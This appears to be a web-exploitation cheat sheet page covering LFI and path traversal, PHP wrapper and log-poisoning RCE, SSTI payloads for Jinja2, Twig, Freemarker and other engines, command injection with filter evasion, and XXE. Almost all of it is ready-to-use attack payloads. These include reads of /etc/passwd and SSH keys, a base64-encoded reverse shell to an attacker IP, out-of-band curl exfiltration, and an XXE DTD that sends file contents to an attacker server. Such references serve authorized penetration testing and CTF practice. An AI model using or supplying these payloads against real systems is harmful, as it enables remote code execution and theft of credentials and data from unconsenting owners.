LFI, SSTI, command injection and XXE

Payloads for path traversal and LFI (PHP wrappers, log poisoning), SSTI per template engine, command injection with filter evasion, and XXE.

Your values Saved in this browser and applied to every cheatsheet.

Your IP (attacker) Port Target IP

LFI

Path traversal

Basic

../../../../../../etc/passwd

If ../ is stripped once

....//....//....//....//etc/passwd

URL encoded (double)

%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

If it must start with a given path

/var/www/html/../../../../etc/passwd

Null byte (PHP before 5.3.4)

../../../../etc/passwd%00

PHP wrappers

Read source code as base64

php://filter/convert.base64-encode/resource=index.php

Run code with data:// (allow_url_include)

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id

Run code with php://input Attacker

curl -X POST 'http://10.10.11.20/index.php?page=php://input' --data '<?php system("id"); ?>'

RCE without uploading anything (filter chain) Attacker

python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Builds a huge php://filter chain that writes that code when included. Tool by Synacktiv.

From LFI to RCE with logs

Poison the log through the User-Agent Attacker

curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'

Include the log

?page=/var/log/apache2/access.log&c=id

On nginx: /var/log/nginx/access.log. /proc/self/environ or PHP sessions at /var/lib/php/sessions/sess_<id> also work.

Interesting files

Linux

/etc/passwd
/etc/hosts
/proc/self/cmdline
/proc/self/environ
/home/USUARIO/.ssh/id_rsa
/var/www/html/config.php
/etc/nginx/sites-enabled/default
/etc/apache2/sites-enabled/000-default.conf

Windows

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf

SSTI

Detection

String that breaks almost any engine

${{<%[%'"}}%\.

Arithmetic per syntax

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{7*'7'}}

{{7*'7'}} gives 7777777 in Jinja2 and 49 in Twig.

Jinja2 (Python / Flask)

Run a command

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Short alternative

{{ cycler.__init__.__globals__.os.popen('id').read() }}

Without dots or underscores (filters)

{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

Other engines

Twig (PHP)

{{ ['id']|filter('system') }}

ERB (Ruby)

<%= `id` %>

Freemarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Spring / Thymeleaf (SpEL expressions)

${T(java.lang.Runtime).getRuntime().exec('id')}

Nunjucks (Node.js)

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

Tool

SSTImap Attacker

python3 sstimap.py -u 'http://10.10.11.20/page?name=test'

Command injection

Separators

Chain commands

; id
| id
|| id
&& id
`id`
$(id)

Encoded newline

%0aid

Filter evasion

Without spaces

cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

Blocked words

c'a't /etc/passwd
c\at /etc/passwd
/???/c?t /etc/passwd

Without slashes

cat ${HOME:0:1}etc${HOME:0:1}passwd

Everything in base64

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx|base64 -d|bash

Build yours with the encoder (bash base64 option).

Blind

Time based

; sleep 5

Out of band over HTTP

; curl http://10.10.14.5/$(whoami)

Listen with python3 -m http.server 80 and look at the requested path.

Out of band over ICMP

; ping -c 2 10.10.14.5

On your machine: sudo tcpdump -i tun0 icmp

XXE

File read

External entity

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>

PHP source as base64

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<r>&x;</r>

Blind (out of band)

DTD on your server (evil.dtd) Attacker

<!ENTITY % f SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://10.10.14.5/?d=%f;'>">
%e;
%x;

Payload that loads the DTD

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % d SYSTEM "http://10.10.14.5/evil.dtd"> %d;]>
<r>1</r>